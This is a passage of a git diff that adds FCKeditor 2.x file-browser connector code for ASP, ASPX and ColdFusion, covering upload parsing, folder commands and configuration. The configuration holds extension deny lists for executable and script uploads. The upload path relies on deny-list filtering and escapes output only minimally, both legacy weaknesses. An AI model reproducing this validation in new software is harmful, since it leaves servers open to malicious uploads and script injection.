+       ' Create the XML document header.
+       Response.Write "<?xml version=""1.0"" encoding=""utf-8"" ?>"
+       
+       Response.Write "<Connector><Error number=""" & number & """ text=""" & Server.HTMLEncode( text ) & """ /></Connector>"
+       
+       Response.End
+End Sub
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/class_upload.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/class_upload.asp
new file mode 100755 (executable)
index 0000000..52bcf06
--- /dev/null
@@ -0,0 +1,238 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: class_upload.asp
+ *     These are the classes used to handle ASP upload without using third
+ *     part components (OCX/DLL).
+ * 
+ * File Authors:
+ *             NetRube (netrube@126.com)
+-->
+<%
+'**********************************************
+' File:                NetRube_Upload.asp
+' Version:     NetRube Upload Class Version 2.1 Build 20050228
+' Author:      NetRube
+' Email:       NetRube@126.com
+' Date:                02/28/2005
+' Comments:    The code for the Upload.
+'                      This can free usage, but please
+'                      not to delete this copyright information.
+'                      If you have a modification version,
+'                      Please send out a duplicate to me.
+'**********************************************
+' 文件名:   NetRube_Upload.asp
+' 版本:              NetRube Upload Class Version 2.1 Build 20050228
+' 作者:              NetRube(网络乡巴佬)
+' 电子邮件:        NetRube@126.com
+' 日期:              2005年02月28日
+' 声明:              文件上传类
+'                      本上传类可以自由使用,但请保留此版权声明信息
+'                      如果您对本上传类进行修改增强,
+'                      请发送一份给俺。
+'**********************************************
+
+Class NetRube_Upload
+
+       Public  File, Form
+       Private oSourceData
+       Private nMaxSize, nErr, sAllowed, sDenied
+       
+       Private Sub Class_Initialize
+               nErr            = 0
+               nMaxSize        = 1048576
+               
+               Set File                        = Server.CreateObject("Scripting.Dictionary")
+               File.CompareMode        = 1
+               Set Form                        = Server.CreateObject("Scripting.Dictionary")
+               Form.CompareMode        = 1
+               
+               Set oSourceData         = Server.CreateObject("ADODB.Stream")
+               oSourceData.Type        = 1
+               oSourceData.Mode        = 3
+               oSourceData.Open
+       End Sub
+       
+       Private Sub Class_Terminate
+               Form.RemoveAll
+               Set Form = Nothing
+               File.RemoveAll
+               Set File = Nothing
+               
+               oSourceData.Close
+               Set oSourceData = Nothing
+       End Sub
+       
+       Public Property Get Version
+               Version = "NetRube Upload Class Version 1.0 Build 20041218"
+       End Property
+
+       Public Property Get ErrNum
+               ErrNum  = nErr
+       End Property
+       
+       Public Property Let MaxSize(nSize)
+               nMaxSize        = nSize
+       End Property
+       
+       Public Property Let Allowed(sExt)
+               sAllowed        = sExt
+       End Property
+       
+       Public Property Let Denied(sExt)
+               sDenied = sExt
+       End Property
+
+       Public Sub GetData
+               Dim aCType
+               aCType = Split(Request.ServerVariables("HTTP_CONTENT_TYPE"), ";")
+               If aCType(0) <> "multipart/form-data" Then
+                       nErr = 1
+                       Exit Sub
+               End If
+               
+               Dim nTotalSize
+               nTotalSize      = Request.TotalBytes
+               If nTotalSize < 1 Then
+                       nErr = 2
+                       Exit Sub
+               End If
+               If nMaxSize > 0 And nTotalSize > nMaxSize Then
+                       nErr = 3
+                       Exit Sub
+               End If
+               
+               oSourceData.Write Request.BinaryRead(nTotalSize)
+               oSourceData.Position = 0
+               
+               Dim oTotalData, oFormStream, sFormHeader, sFormName, bCrLf, nBoundLen, nFormStart, nFormEnd, nPosStart, nPosEnd, sBoundary
+               
+               oTotalData      = oSourceData.Read
+               bCrLf           = ChrB(13) & ChrB(10)
+               sBoundary       = MidB(oTotalData, 1, InStrB(1, oTotalData, bCrLf) - 1)
+               nBoundLen       = LenB(sBoundary) + 2
+               nFormStart      = nBoundLen
+               
+               Set oFormStream = Server.CreateObject("ADODB.Stream")
+               
+               Do While (nFormStart + 2) < nTotalSize
+                       nFormEnd        = InStrB(nFormStart, oTotalData, bCrLf & bCrLf) + 3
+                       
+                       With oFormStream
+                               .Type   = 1
+                               .Mode   = 3
+                               .Open
+                               oSourceData.Position = nFormStart
+                               oSourceData.CopyTo oFormStream, nFormEnd - nFormStart
+                               .Position       = 0
+                               .Type           = 2
+                               .CharSet        = "UTF-8"
+                               sFormHeader     = .ReadText
+                               .Close
+                       End With
+                       
+                       nFormStart      = InStrB(nFormEnd, oTotalData, sBoundary) - 1
+                       nPosStart       = InStr(22, sFormHeader, " name=", 1) + 7
+                       nPosEnd         = InStr(nPosStart, sFormHeader, """")
+                       sFormName       = Mid(sFormHeader, nPosStart, nPosEnd - nPosStart)
+                       
+                       If InStr(45, sFormHeader, " filename=", 1) > 0 Then
+                               Set File(sFormName)                     = New NetRube_FileInfo
+                               File(sFormName).FormName        = sFormName
+                               File(sFormName).Start           = nFormEnd
+                               File(sFormName).Size            = nFormStart - nFormEnd - 2
+                               nPosStart                                       = InStr(nPosEnd, sFormHeader, " filename=", 1) + 11
+                               nPosEnd                                         = InStr(nPosStart, sFormHeader, """")
+                               File(sFormName).ClientPath      = Mid(sFormHeader, nPosStart, nPosEnd - nPosStart)
+                               File(sFormName).Name            = Mid(File(sFormName).ClientPath, InStrRev(File(sFormName).ClientPath, "\") + 1)
+                               File(sFormName).Ext                     = LCase(Mid(File(sFormName).Name, InStrRev(File(sFormName).Name, ".") + 1))
+                               nPosStart                                       = InStr(nPosEnd, sFormHeader, "Content-Type: ", 1) + 14
+                               nPosEnd                                         = InStr(nPosStart, sFormHeader, vbCr)
+                               File(sFormName).MIME            = Mid(sFormHeader, nPosStart, nPosEnd - nPosStart)
+                       Else
+                               With oFormStream
+                                       .Type   = 1
+                                       .Mode   = 3
+                                       .Open
+                                       oSourceData.Position = nPosEnd
+                                       oSourceData.CopyTo oFormStream, nFormStart - nFormEnd - 2
+                                       .Position       = 0
+                                       .Type           = 2
+                                       .CharSet        = "UTF-8"
+                                       Form(sFormName) = .ReadText
+                                       .Close
+                               End With
+                       End If
+                       
+                       nFormStart      = nFormStart + nBoundLen
+               Loop
+               
+               oTotalData = ""
+               Set oFormStream = Nothing
+       End Sub
+
+       Public Sub SaveAs(sItem, sFileName)
+               If File(sItem).Size < 1 Then
+                       nErr = 2
+                       Exit Sub
+               End If
+               
+               If Not IsAllowed(File(sItem).Ext) Then
+                       nErr = 4
+                       Exit Sub
+               End If
+               
+               Dim oFileStream
+               Set oFileStream = Server.CreateObject("ADODB.Stream")
+               With oFileStream
+                       .Type           = 1
+                       .Mode           = 3
+                       .Open
+                       oSourceData.Position = File(sItem).Start
+                       oSourceData.CopyTo oFileStream, File(sItem).Size
+                       .Position       = 0
+                       .SaveToFile sFileName, 2
+                       .Close
+               End With
+               Set oFileStream = Nothing
+       End Sub
+       
+       Private Function IsAllowed(sExt)
+               Dim oRE
+               Set oRE = New RegExp
+               oRE.IgnoreCase  = True
+               oRE.Global              = True
+               
+               If sDenied = "" Then
+                       oRE.Pattern     = sAllowed
+                       IsAllowed       = (sAllowed = "") Or oRE.Test(sExt)
+               Else
+                       oRE.Pattern     = sDenied
+                       IsAllowed       = Not oRE.Test(sExt)
+               End If
+               
+               Set oRE = Nothing
+       End Function
+End Class
+
+Class NetRube_FileInfo
+       Dim FormName, ClientPath, Path, Name, Ext, Content, Size, MIME, Start
+End Class
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/commands.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/commands.asp
new file mode 100755 (executable)
index 0000000..8379095
--- /dev/null
@@ -0,0 +1,187 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: commands.asp
+ *     This file include the functions that handle the Command requests
+ *     in the ASP Connector.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+Sub GetFolders( resourceType, currentFolder )
+       ' Map the virtual path to the local server path.
+       Dim sServerDir
+       sServerDir = ServerMapFolder( resourceType, currentFolder )
+
+       ' Open the "Folders" node.
+       Response.Write "<Folders>"
+
+       Dim oFSO, oCurrentFolder, oFolders, oFolder
+       Set oFSO = Server.CreateObject( "Scripting.FileSystemObject" )
+       Set oCurrentFolder = oFSO.GetFolder( sServerDir )
+       Set oFolders = oCurrentFolder.SubFolders
+
+       For Each oFolder in oFolders
+               Response.Write "<Folder name=""" & ConvertToXmlAttribute( oFolder.name ) & """ />"
+       Next
+       
+       Set oFSO = Nothing
+       
+       ' Close the "Folders" node.
+       Response.Write "</Folders>"
+End Sub
+
+Sub GetFoldersAndFiles( resourceType, currentFolder )
+       ' Map the virtual path to the local server path.
+       Dim sServerDir
+       sServerDir = ServerMapFolder( resourceType, currentFolder )
+
+       Dim oFSO, oCurrentFolder, oFolders, oFolder, oFiles, oFile
+       Set oFSO = Server.CreateObject( "Scripting.FileSystemObject" )
+       Set oCurrentFolder = oFSO.GetFolder( sServerDir )
+       Set oFolders    = oCurrentFolder.SubFolders
+       Set oFiles              = oCurrentFolder.Files
+       
+       ' Open the "Folders" node.
+       Response.Write "<Folders>"
+       
+       For Each oFolder in oFolders
+               Response.Write "<Folder name=""" & ConvertToXmlAttribute( oFolder.name ) & """ />"
+       Next
+       
+       ' Close the "Folders" node.
+       Response.Write "</Folders>"
+               
+       ' Open the "Files" node.
+       Response.Write "<Files>"
+       
+       For Each oFile in oFiles
+               Dim iFileSize
+               iFileSize = Round( oFile.size / 1024 )
+               If ( iFileSize < 1 AND oFile.size <> 0 ) Then iFileSize = 1
+               
+               Response.Write "<File name=""" & ConvertToXmlAttribute( oFile.name ) & """ size=""" & iFileSize & """ />"
+       Next
+       
+       ' Close the "Files" node.
+       Response.Write "</Files>"
+End Sub
+
+Sub CreateFolder( resourceType, currentFolder )
+       Dim sErrorNumber
+
+       Dim sNewFolderName
+       sNewFolderName = Request.QueryString( "NewFolderName" )
+
+       If ( sNewFolderName = "" OR InStr( 1, sNewFolderName, ".." ) > 0  ) Then
+               sErrorNumber = "102"
+       Else
+               ' Map the virtual path to the local server path of the current folder.
+               Dim sServerDir
+               sServerDir = ServerMapFolder( resourceType, currentFolder & "/" & sNewFolderName )
+               
+               On Error Resume Next
+
+               CreateServerFolder sServerDir
+               
+               Dim iErrNumber, sErrDescription
+               iErrNumber              = err.number
+               sErrDescription = err.Description
+               
+               On Error Goto 0
+               
+               Select Case iErrNumber
+                       Case 0
+                               sErrorNumber = "0"
+                       Case 52
+                               sErrorNumber = "102"    ' Invalid Folder Name.
+                       Case 70
+                               sErrorNumber = "103"    ' Security Error.
+                       Case 76
+                               sErrorNumber = "102"    ' Path too long.
+                       Case Else
+                               sErrorNumber = "110"
+               End Select
+       End If
+
+       ' Create the "Error" node.
+       Response.Write "<Error number=""" & sErrorNumber & """ originalNumber=""" & iErrNumber & """ originalDescription=""" & ConvertToXmlAttribute( sErrDescription ) & """ />"
+End Sub
+
+Sub FileUpload( resourceType, currentFolder )
+       Dim oUploader
+       Set oUploader = New NetRube_Upload
+       oUploader.MaxSize       = 0
+       oUploader.Allowed       = ConfigAllowedExtensions.Item( resourceType )
+       oUploader.Denied        = ConfigDeniedExtensions.Item( resourceType )
+       oUploader.GetData
+
+       Dim sErrorNumber
+       sErrorNumber = "0"
+       
+       Dim sFileName, sOriginalFileName, sExtension
+       sFileName = ""
+
+       If oUploader.ErrNum > 1 Then
+               sErrorNumber = "202"
+       Else
+               ' Map the virtual path to the local server path.
+               Dim sServerDir
+               sServerDir = ServerMapFolder( resourceType, currentFolder )
+
+               Dim oFSO
+               Set oFSO = Server.CreateObject( "Scripting.FileSystemObject" )
+       
+               ' Get the uploaded file name.
+               sFileName       = oUploader.File( "NewFile" ).Name
+               sExtension      = oUploader.File( "NewFile" ).Ext
+               sOriginalFileName = sFileName
+
+               Dim iCounter
+               iCounter = 0
+
+               Do While ( True )
+                       Dim sFilePath
+                       sFilePath = sServerDir & sFileName
+
+                       If ( oFSO.FileExists( sFilePath ) ) Then
+                               iCounter = iCounter + 1
+                               sFileName = RemoveExtension( sOriginalFileName ) & "(" & iCounter & ")." & sExtension
+                               sErrorNumber = "201"
+                       Else
+                               oUploader.SaveAs "NewFile", sFilePath
+                               If oUploader.ErrNum > 0 Then sErrorNumber = "202"
+                               Exit Do
+                       End If
+               Loop
+       End If
+
+       Set oUploader   = Nothing
+
+       Response.Clear
+
+       Response.Write "<script type=""text/javascript"">"
+       Response.Write "window.parent.frames['frmUpload'].OnUploadCompleted(" & sErrorNumber & ",'" & Replace( sFileName, "'", "\'" ) & "') ;"
+       Response.Write "</script>"
+
+       Response.End
+End Sub
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/config.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/config.asp
new file mode 100755 (executable)
index 0000000..2c360c6
--- /dev/null
@@ -0,0 +1,53 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: config.asp
+ *     Configuration file for the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+
+' SECURITY: You must explicitelly enable this "connector" (set it to "True"). 
+Dim ConfigIsEnabled
+ConfigIsEnabled = False
+
+' Path to user files relative to the document root.
+Dim ConfigUserFilesPath
+ConfigUserFilesPath = "/userfiles/"
+
+Dim ConfigAllowedExtensions, ConfigDeniedExtensions
+Set ConfigAllowedExtensions    = CreateObject( "Scripting.Dictionary" )
+Set ConfigDeniedExtensions     = CreateObject( "Scripting.Dictionary" )
+
+ConfigAllowedExtensions.Add    "File", ""
+ConfigDeniedExtensions.Add     "File", "html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis"
+
+ConfigAllowedExtensions.Add    "Image", "jpg|gif|jpeg|png|bmp"
+ConfigDeniedExtensions.Add     "Image", ""
+
+ConfigAllowedExtensions.Add    "Flash", "swf|fla"
+ConfigDeniedExtensions.Add     "Flash", ""
+
+ConfigAllowedExtensions.Add    "Media", "swf|fla|jpg|gif|jpeg|png|avi|mpg|mpeg|mp(1-4)|wma|wmv|wav|mid|midi|rmi|rm|ram|rmvb|mov|qt"
+ConfigDeniedExtensions.Add     "Media", ""
+
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp
new file mode 100755 (executable)
index 0000000..34a3814
--- /dev/null
@@ -0,0 +1,128 @@
+<%@ CodePage=65001 Language="VBScript"%>
+<%
+Option Explicit
+Response.Buffer = True
+%>
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.asp
+ *     This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<!--#include file="config.asp"-->
+<!--#include file="util.asp"-->
+<!--#include file="io.asp"-->
+<!--#include file="basexml.asp"-->
+<!--#include file="commands.asp"-->
+<!--#include file="class_upload.asp"-->
+<%
+
+If ( ConfigIsEnabled = False ) Then
+       SendError 1, "This connector is disabled. Please check the ""editor/filemanager/browser/default/connectors/asp/config.asp"" file"
+End If
+
+' Get the "UserFiles" path.
+Dim sUserFilesPath
+
+If ( Not IsEmpty( ConfigUserFilesPath ) ) Then
+       sUserFilesPath = ConfigUserFilesPath
+
+       If ( Right( sUserFilesPath, 1 ) <> "/" ) Then
+               sUserFilesPath = sUserFilesPath & "/"
+       End If
+Else
+       sUserFilesPath = "/userfiles/"
+End If
+
+' Map the "UserFiles" path to a local directory.
+Dim sUserFilesDirectory
+sUserFilesDirectory = Server.MapPath( sUserFilesPath )
+
+If ( Right( sUserFilesDirectory, 1 ) <> "\" ) Then
+       sUserFilesDirectory = sUserFilesDirectory & "\"
+End If
+
+DoResponse
+
+Sub DoResponse()
+       Dim sCommand, sResourceType, sCurrentFolder
+       
+       ' Get the main request information.
+       sCommand = Request.QueryString("Command")
+       If ( sCommand = "" ) Then Exit Sub
+
+       sResourceType = Request.QueryString("Type")
+       If ( sResourceType = "" ) Then Exit Sub
+       
+       sCurrentFolder = Request.QueryString("CurrentFolder")
+       If ( sCurrentFolder = "" ) Then Exit Sub
+
+       ' Check if it is an allower resource type.
+       if ( Not IsAllowedType( sResourceType ) ) Then Exit Sub
+
+       ' Check the current folder syntax (must begin and start with a slash).
+       If ( Right( sCurrentFolder, 1 ) <> "/" ) Then sCurrentFolder = sCurrentFolder & "/"
+       If ( Left( sCurrentFolder, 1 ) <> "/" ) Then sCurrentFolder = "/" & sCurrentFolder
+
+       ' Check for invalid folder paths (..)
+       If ( InStr( 1, sCurrentFolder, ".." ) <> 0 OR InStr( 1, sResourceType, ".." ) <> 0 ) Then
+               SendError 102, ""
+       End If 
+
+       ' File Upload doesn't have to Return XML, so it must be intercepted before anything.
+       If ( sCommand = "FileUpload" ) Then
+               FileUpload sResourceType, sCurrentFolder
+               Exit Sub
+       End If
+
+       SetXmlHeaders
+       
+       CreateXmlHeader sCommand, sResourceType, sCurrentFolder
+
+       ' Execute the required command.
+       Select Case sCommand
+               Case "GetFolders"
+                       GetFolders sResourceType, sCurrentFolder
+               Case "GetFoldersAndFiles"
+                       GetFoldersAndFiles sResourceType, sCurrentFolder
+               Case "CreateFolder"
+                       CreateFolder sResourceType, sCurrentFolder
+       End Select
+
+       CreateXmlFooter
+
+       Response.End
+End Sub
+
+Function IsAllowedType( resourceType )
+       Dim oRE
+       Set oRE = New RegExp
+       oRE.IgnoreCase  = True
+       oRE.Global              = True
+       oRE.Pattern             = "^(File|Image|Flash|Media)$"
+       
+       IsAllowedType = oRE.Test( resourceType )
+       
+       Set oRE = Nothing
+End Function
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/io.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/io.asp
new file mode 100755 (executable)
index 0000000..9abb0b4
--- /dev/null
@@ -0,0 +1,93 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: io.asp
+ *     This file include IO specific functions used by the ASP Connector.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+Function GetUrlFromPath( resourceType, folderPath )
+       If resourceType = "" Then
+               GetUrlFromPath = RemoveFromEnd( sUserFilesPath, "/" ) & folderPath
+       Else
+               GetUrlFromPath = sUserFilesPath & LCase( resourceType ) & folderPath
+       End If
+End Function
+
+Function RemoveExtension( fileName )
+       RemoveExtension = Left( fileName, InStrRev( fileName, "." ) - 1 )
+End Function
+
+Function ServerMapFolder( resourceType, folderPath )
+       ' Get the resource type directory.
+       Dim sResourceTypePath
+       sResourceTypePath = sUserFilesDirectory & LCase( resourceType ) & "\"
+       
+       ' Ensure that the directory exists.
+       CreateServerFolder sResourceTypePath
+
+       ' Return the resource type directory combined with the required path.
+       ServerMapFolder = sResourceTypePath & RemoveFromStart( folderPath, "/" )
+End Function
+
+Sub CreateServerFolder( folderPath )
+       Dim oFSO
+       Set oFSO = Server.CreateObject( "Scripting.FileSystemObject" )
+       
+       Dim sParent
+       sParent = oFSO.GetParentFolderName( folderPath )
+       
+       ' Check if the parent exists, or create it.
+       If ( NOT oFSO.FolderExists( sParent ) ) Then CreateServerFolder( sParent )
+       
+       If ( oFSO.FolderExists( folderPath ) = False ) Then 
+               oFSO.CreateFolder( folderPath )
+       End If
+       
+       Set oFSO = Nothing
+End Sub
+
+Function IsAllowedExt( extension, resourceType )
+       Dim oRE
+       Set oRE = New RegExp
+       oRE.IgnoreCase  = True
+       oRE.Global              = True
+       
+       Dim sAllowed, sDenied
+       sAllowed        = ConfigAllowedExtensions.Item( resourceType )
+       sDenied         = ConfigDeniedExtensions.Item( resourceType )
+       
+       IsAllowedExt = True
+       
+       If sDenied <> "" Then
+               oRE.Pattern     = sDenied
+               IsAllowedExt    = Not oRE.Test( extension )
+       End If 
+       
+       If IsAllowedExt And sAllowed <> "" Then
+               oRE.Pattern             = sAllowed
+               IsAllowedExt    = oRE.Test( extension )
+       End If
+       
+       Set oRE = Nothing
+End Function
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/asp/util.asp b/fckeditor/editor/filemanager/browser/default/connectors/asp/util.asp
new file mode 100755 (executable)
index 0000000..27030c2
--- /dev/null
@@ -0,0 +1,59 @@
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: util.asp
+ *     This file include generic functions used by the ASP Connector.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<%
+Function RemoveFromStart( sourceString, charToRemove )
+       Dim oRegex
+       Set oRegex = New RegExp
+       oRegex.Pattern = "^" & charToRemove & "+"
+
+       RemoveFromStart = oRegex.Replace( sourceString, "" )
+End Function
+
+Function RemoveFromEnd( sourceString, charToRemove )
+       Dim oRegex
+       Set oRegex = New RegExp
+       oRegex.Pattern = charToRemove & "+$"
+
+       RemoveFromEnd = oRegex.Replace( sourceString, "" )
+End Function
+
+Function ConvertToXmlAttribute( value )
+       ConvertToXmlAttribute = Replace( value, "&", "&amp;" )
+End Function
+
+Function InArray( value, sourceArray )
+       Dim i
+       For i = 0 to UBound( sourceArray )
+               If sourceArray(i) = value Then
+                       InArray = True
+                       Exit Function
+               End If
+       Next
+       InArray = False
+End Function
+
+%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx b/fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx
new file mode 100755 (executable)
index 0000000..c56657a
--- /dev/null
@@ -0,0 +1,34 @@
+<%@ Page language="c#" Inherits="FredCK.FCKeditorV2.FileBrowserConnector" AutoEventWireup="false" %>
+<%--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: connector.aspx
+ *     This is the File Browser Connector for ASP.NET.
+ *     
+ *     The code of this page if included in the FCKeditor.Net package, 
+ *     in the FredCK.FCKeditorV2.dll assemblyfile. So to use it you must 
+ *     include that DLL in your "bin" directory.
+ *     
+ *     To download the FCKeditor.Net package, go to our official web site:
+ *     http://www.fckeditor.net
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+--%>
\ No newline at end of file
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/cfm/config.cfm b/fckeditor/editor/filemanager/browser/default/connectors/cfm/config.cfm
new file mode 100755 (executable)
index 0000000..baec5d4
--- /dev/null
@@ -0,0 +1,80 @@
+<cfsetting enablecfoutputonly="Yes">
+
+<cfscript>
+       config = structNew();
+
+       // SECURITY: You must explicitly enable this "connector". (Set enabled to "true")
+       config.enabled = false;
+
+       config.userFilesPath = "/userfiles/";
+
+       config.serverPath = ""; // use this to force the server path if FCKeditor is not running directly off the root of the application or the FCKeditor directory in the URL is a virtual directory or a symbolic link / junction
+
+       config.allowedExtensions = structNew();
+       config.deniedExtensions = structNew();
+
+       // config.allowedExtensions["File"] = "doc,rtf,pdf,ppt,pps,xls,csv,vnd,zip";
+       config.allowedExtensions["File"] = "";
+       config.deniedExtensions["File"] = "html,htm,php,php2,php3,php4,php5,phtml,pwml,inc,asp,aspx,ascx,jsp,cfm,cfc,pl,bat,exe,com,dll,vbs,js,reg,cgi,htaccess,asis";
+
+       config.allowedExtensions["Image"] = "png,gif,jpg,jpeg,bmp";
+       config.deniedExtensions["Image"] = "";
+
+       config.allowedExtensions["Flash"] = "swf,fla";
+       config.deniedExtensions["Flash"] = "";
+
+       config.allowedExtensions["Media"] = "swf,fla,jpg,gif,jpeg,png,avi,mpg,mpeg,mp3,mp4,m4a,wma,wmv,wav,mid,midi,rmi,rm,ram,rmvb,mov,qt";
+       config.deniedExtensions["Media"] = "";
+</cfscript>
+
+<!--- code to maintain backwards compatibility with previous version of cfm connector --->
+<cfif isDefined("application.userFilesPath")>
+
+       <cflock scope="application" type="readonly" timeout="5">
+       <cfset config.userFilesPath = application.userFilesPath>
+       </cflock>
+
+<cfelseif isDefined("server.userFilesPath")>
+       
+       <cflock scope="server" type="readonly" timeout="5">
+       <cfset config.userFilesPath = server.userFilesPath>
+       </cflock>
+       
+</cfif>
+
+<!--- look for config struct in request, application and server scopes --->
+<cfif isDefined("request.FCKeditor") and isStruct(request.FCKeditor)>
+
+       <cfset variables.FCKeditor = request.FCKeditor>
+
+<cfelseif isDefined("application.FCKeditor") and isStruct(application.FCKeditor)>
+
+       <cflock scope="application" type="readonly" timeout="5">
+       <cfset variables.FCKeditor = duplicate(application.FCKeditor)>
+       </cflock>
+
+<cfelseif isDefined("server.FCKeditor") and isStruct(server.FCKeditor)>
+
+       <cflock scope="server" type="readonly" timeout="5">
+       <cfset variables.FCKeditor = duplicate(server.FCKeditor)>
+       </cflock>
+
+</cfif>
+
+<cfif isDefined("FCKeditor")>
+
+       <!--- copy key values from external to local config (i.e. override default config as required) --->
+       <cfscript>
+               function structCopyKeys(stFrom, stTo) {
+                       for ( key in stFrom ) {
+                               if ( isStruct(stFrom[key]) ) {
+                                       structCopyKeys(stFrom[key],stTo[key]);
+                               } else {
+                                       stTo[key] = stFrom[key];
+                               }
+                       }
+               }
+               structCopyKeys(FCKeditor, config);
+       </cfscript>
+
+</cfif>
diff --git a/fckeditor/editor/filemanager/browser/default/connectors/cfm/connector.cfm b/fckeditor/editor/filemanager/browser/default/connectors/cfm/connector.cfm
new file mode 100755 (executable)
index 0000000..98a2019
--- /dev/null
@@ -0,0 +1,372 @@
+<cfsetting enablecfoutputonly="yes" showdebugoutput="no">
+<!---
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
